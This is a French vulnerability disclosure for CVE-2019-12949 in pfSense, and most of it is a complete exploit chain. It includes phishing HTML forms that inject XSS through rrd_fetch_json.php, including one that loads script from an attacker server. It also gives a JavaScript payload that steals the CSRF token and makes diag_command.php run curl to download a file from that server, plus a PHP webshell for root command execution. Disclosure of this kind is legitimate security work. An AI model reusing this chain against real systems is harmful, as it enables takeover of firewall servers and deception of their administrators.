
CVE-2019-12949
Dans pfSense 2.4.4-p2 et 2.4.4-p3, s'il est possible d'amener l'administrateur authentifié à cliquer sur un bouton d'une page de phishing, un attaquant peut téléverser du code exécutable arbitraire via ding_command.php et rrd_fetch_json.php vers un serveur. Ensuite, l'attaquant distant peut exécuter n'importe quelle commande avec les privilèges root sur ce serveur.
Chercheur : Enter of The Tarantula Team, VinCSS (membre de Vingroup)
Vecteur d'attaque : https://pfSense_IP_Address/rrd_fetch_json.php
Envoyer une requête POST :
<form action="https://[PFsense-domain]/rrd_fetch_json.php" method="post">
<input type="hidden" name="left" value="system-processor"><br>
<input type="hidden" name="right" value="null"><br>
<input type="hidden" name="start" value=""><br>
<input type="hidden" name="end" value=""><br>
<input type="hidden" name="resolution" value="300"><br>
<input type="hidden" name="timePeriod" value="i3i3j<script>alert(1)</script>tz9b1"><br>
<input type="hidden" name="graphtype" value="line"><br>
<input type="hidden" name="invert" value="true"><br>
<input type="hidden" name="refreshInterval" value="0">
<h1>Congratulations on receiving the reward from us</h1>
<h1>Click to receive gifts</h1>
<input type="submit" value="Submit">
</form>
Un attaquant peut créer un site de phishing comme celui-ci pour exploiter la vulnérabilité XSS sur pfSense :
<form action="https://[PFsense-domain]/rrd_fetch_json.php" method="post">
<input type="hidden" name="left" value="system-processor"><br>
<input type="hidden" name="right" value="null"><br>
<input type="hidden" name="start" value=""><br>
<input type="hidden" name="end" value=""><br>
<input type="hidden" name="resolution" value="300"><br>
<input type="hidden" name="timePeriod" value="i3i3j<script src='https://[Attacker-Server]/payload.js'></script>tz9b1"><br>
<input type="hidden" name="graphtype" value="line"><br>
<input type="hidden" name="invert" value="true"><br>
<input type="hidden" name="refreshInterval" value="0">
<h1>Congratulations on receiving the reward from us</h1>
<h1>Click to receive gifts</h1>
<input type="submit" value="Submit">
</form>
Le fichier payload.js sur le serveur de l'attaquant contiendra le code Javascript suivant (Payload) :
<script>
var xhr = new XMLHttpRequest();
xhr.open("GET", "https://[PFsense domain]/diag_command.php", false);
xhr.withCredentials=true;
xhr.send(null);
var resp = xhr.responseText;
console.log(resp);
var start_idx = resp.indexOf('name=\'__csrf_magic\' value="');
var end_idx = resp.indexOf('" />', start_idx);
var token = resp.slice(start_idx + 27, end_idx);
console.log(token);
// now execute the CSRF attack using XHR along with the extracted token
var xhr1 = new XMLHttpRequest();
xhr1.open("POST", "https://[PFsense-domain]/diag_command.php", false);
xhr1.withCredentials=true;
var params = "__csrf_magic="+token+"&txtCommand=curl https://[Attacker-Server]/shell.txt > a.php&submit=EXEC";
xhr1.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
xhr1.setRequestHeader("Content-length", params.length);
xhr1.send(params);
</script>
Le fichier shell.txt sur le serveur de l'attaquant contiendra le contenu d'une webshell PHP, par exemple :
<?php
system($_REQUEST['cmd']); // allow remote attacker to run commands on victim server
phpinfo(); // show phpinfo
?>
Enfin, l'attaquant amènera les administrateurs pfSense authentifiés (victimes) à accéder au site de phishing et à cliquer sur le bouton 'Submit' du site de phishing. Ensuite, la victime sera redirigée vers le site d'administration pfSense, et la webshell de l'attaquant sera automatiquement chargée avec succès sur le serveur pfSense.
De là, l'attaquant distant peut exécuter du code arbitraire en tant que root sur le serveur pfSense :
https://[PFsense-domain]/a.php?cmd=whoami
https://[PFsense-domain]/a.php?cmd=ls